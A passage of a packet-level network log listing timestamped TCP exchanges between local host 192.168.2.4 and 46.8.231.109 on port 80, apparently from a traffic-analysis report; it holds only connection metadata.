Sep 26, 2024 19:05:17.965591908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965604067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965610981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.965625048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965636015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965636969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.965656996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965661049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.965667963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965688944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965699911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965712070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.965719938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.965735912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.965761900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.966295004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966308117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966329098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966335058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.966344118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966358900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.966376066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.966384888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966392994 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.966397047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966418982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966423035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.966432095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966434956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.966438055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966444016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966449976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966455936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.966525078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046329975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046344995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046365976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046380997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046403885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046411991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046437979 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046448946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046479940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046489000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046514034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046525955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046545029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046551943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046585083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046747923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046760082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046782017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046786070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046792984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046803951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046814919 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046816111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046829939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.046835899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046849012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.046869040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.047060013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.047076941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.047095060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.047112942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.047115088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.047127962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.047151089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.047162056 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.047163010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.047169924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.047184944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.047194958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.047215939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.047223091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.047460079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.047509909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048223972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048270941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048295021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048311949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048335075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048343897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048429012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048440933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048460960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048470974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048472881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048492908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048494101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048520088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048551083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048701048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048743010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048796892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048809052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048829079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048836946 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048841000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048861980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048875093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.048877954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048899889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.048924923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049288034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049299002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049319029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049330950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049330950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049345016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049351931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049364090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049367905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049385071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049391985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049396038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049417019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049436092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049670935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049681902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049702883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049710035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049717903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049735069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049735069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.049747944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.049777031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051548958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051561117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051578999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051590919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051595926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051605940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051615000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051630020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051630020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051649094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051656008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051660061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051681995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051683903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051702023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051707983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051728964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051728964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051740885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051754951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051760912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051770926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051779985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051789999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051806927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051810026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051817894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051832914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051840067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051868916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051877975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051891088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051892042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051904917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051923990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051928043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051934958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051954985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051961899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051978111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.051985979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.051996946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052007914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052007914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052028894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052035093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052038908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052067995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052073002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052084923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052103996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052104950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052117109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052131891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052136898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052146912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052153111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052166939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052176952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052177906 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052195072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052206039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052208900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052229881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052232981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052241087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052259922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052272081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052283049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052283049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052292109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052310944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052314043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052337885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052361965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052570105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052592993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052604914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052611113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052624941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052630901 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052637100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052649975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052658081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052669048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052669048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052690983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052692890 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052701950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052716970 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052721977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052730083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052738905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052750111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052757025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052768946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052772999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052788973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052791119 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052803040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052815914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052823067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052841902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052843094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052853107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.052870989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.052896023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.076334000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.076487064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137334108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137367964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137377977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137428045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137439966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137444973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137451887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137510061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137510061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137533903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137636900 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137681007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137711048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137723923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137746096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137749910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137757063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137768030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137779951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137784958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137793064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137813091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.137965918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.137976885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138005972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138026953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138039112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138062954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138067961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138075113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138084888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138108969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138114929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138406992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138418913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138438940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138447046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138461113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138462067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138473988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138477087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138495922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138501883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138508081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138515949 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138685942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138704062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138711929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138721943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138731956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138734102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138744116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138761997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138772964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.138961077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138972044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.138992071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139003038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139007092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139024019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139030933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139034986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139054060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139058113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139070034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139075994 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139091015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139097929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139101028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139121056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139122963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139137030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139147997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139173031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139595032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139612913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139624119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139640093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139647961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139676094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139868021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139879942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139899969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139908075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139924049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139934063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139935970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139955997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139955997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139974117 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.139975071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.139985085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.140001059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.140002966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.140018940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.140018940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.140033007 CEST	80	49735	46.8.231.109	192.168.2.4
